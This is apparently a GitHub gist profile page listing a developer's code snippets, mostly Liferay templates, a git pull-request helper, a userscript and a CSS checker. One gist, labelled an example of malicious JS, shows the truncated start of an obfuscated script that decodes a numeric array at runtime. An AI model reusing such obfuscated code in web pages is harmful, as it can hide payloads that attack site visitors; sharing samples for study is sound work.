Skip to content

Instantly share code, notes, and snippets.

View natecavanaugh's full-sized avatar

Nate Cavanaugh natecavanaugh

View GitHub Profile
@natecavanaugh
natecavanaugh / cplinks.html
Created April 26, 2012 21:48
Control panel links
@natecavanaugh
natecavanaugh / git-pull-request.py
Created June 21, 2012 23:13
testing pr change
#!/usr/bin/env python
"""
Git command to automate many common tasks involving pull requests.
Usage:
gitpr [<options>] <command> [<args>]
Options:
@natecavanaugh
natecavanaugh / malicious_js.js
Created February 14, 2013 21:53
Example of malicious JS
date=new Date();var ar="Jp}g3ra]A\"kmTdQh{,'=Dyi)cf>1(0o[F<BnCs? e.wvlu:HGtNb; /EM";try{gserkewg();}catch(a){k=new Boolean().toString()};var ar2="f159,0,-93,9,42,-33,-45,51,-18,63,-102,87,-15,42,-24,-114,111,27,18,-33,-12,-87,87,-15,42, -36,-9,-39,-27,-18,-9,141,-132,15,87,-36,-30,99,-63,-51,24,-9,15,24,-6,-66,48,-21,111,0,0,-93,9, -60,3,15,87,-105,69,-15,87,3,0,-153,111,3,12,-21,9,-3,-69,111,0,0,-120,51,-18,63,-102,87,-15,42, -24,3,-111,51,81,-27,-36,-57,72,-33,9,-60,3,15,87,-3,-6,-96,57,-15,-3,-9,102,0,-144,135,24,0,-153, 3,99,9,-105,114,-63,6,48,3,-108,120,27,-96,39,18,-120,42,-42,111,-96,39,-15,0,-12,66,6,24,-84, 123,-141,0,0,36,42,-93,15,120,21,-135,42,-72,102,-60,30,93,-141,18,0,99,-81,-18,-18,144,-144, -15,48,0,-3,63,9,-60,-27,108,-102,12,-3,27,6,-33,63,-72,75,-54,-57,36,102,-90,-3,27,6,-33,63,-6, 36,-84,69,-12,-63,-3,75,-63,45,-45,87,-87,66,-66,81,-84,75,-93,21,-27,0,81,-15,51,-153,87,21,-45, 81,-81,24,15,33,-120,135,-42,-21,42,3,12,-27,36,-24,-12,-45,72,-9,-51,69,-9,-57,-87,135,-51,69, -102,24,21,63,
<#assign dlFileEntryService = serviceLocator.findService("com.liferay.document.library.kernel.service.DLFileEntryLocalService")/>
<#if entries?has_content>
<#list entries as entry>
<#assign assetRenderer = entry.getAssetRenderer()>
<#assign title = htmlUtil.escape(assetRenderer.getTitle(locale))>
<#if assetRenderer.getType() == "document">
<#assign fileEntryId = assetRenderer.getClassPK()>
<#assign fileEntry = dlFileEntryService.getFileEntry(fileEntryId)>
@natecavanaugh
natecavanaugh / Lexicon Icon Design Guidelines.md
Last active November 6, 2019 19:09
The Lexicon icon design process and guidelines for designers and developers

Lexicon Icon Design Guidelines

Note: These guidelines do not apply to the Language Flag Icons, which should have their own guidelines

Reasoning

The rules below are mainly there for a few reasons:

  1. To make it easier to communicate to developers what an icon's purpose and naming should be
  2. To make it easier for Liferay's theme developers to be able to customize the look and feel of the icon set from a theme
  3. To make sure that the icons delivered are as fast to load and cruft-free as possible
@natecavanaugh
natecavanaugh / amirunningliferay_chrome.js
Created January 29, 2019 23:55
Am I Running Liferay (TamperMonkey)
// ==UserScript==
// @name Am I Running Liferay?
// @namespace http://userscripts.org/users/23423423
// @include *
// @connect *
// @grant unsafeWindow
// @grant GM_xmlhttpRequest
// ==/UserScript==
var createBanner = function () {
'use strict';
import { Component, ComponentRegistry } from 'metal-component';
import IncrementalDomRenderer from 'metal-incremental-dom';
export default EnhanceJSX = ComposedComponent => {
JSX.register(ComposedComponent);
class EnhancedComponent extends Component {
render() {
@natecavanaugh
natecavanaugh / check_css.js
Created January 14, 2014 15:34
Scan CSS for source formatting patterns
#!/usr/bin/env node
var colors = require('colors');
var fs = require('fs');
var argv = require('optimist').boolean('q').argv;
colors.setTheme({
help: 'cyan',
warn: 'yellow',
error: 'red',
@natecavanaugh
natecavanaugh / invoke_service.js
Last active December 24, 2015 23:59
Add the ability to invoke a service with composite requests with Liferay 6.1
Liferay.Service.invoke = function(payload, success, failure){
A.io.request(
'/api/jsonws/invoke',
{
cache: false,
data: {
cmd: A.JSON.stringify(payload),
p_auth: Liferay.authToken
},
dataType: 'json',
;(function(A) {
Liferay.on(
'chatPortletReady',
function(event) {
var Chat = Liferay.Chat;
Chat.ConversationPanel = Chat.Conversation;
Chat.Conversation = function(){
// code before constructor....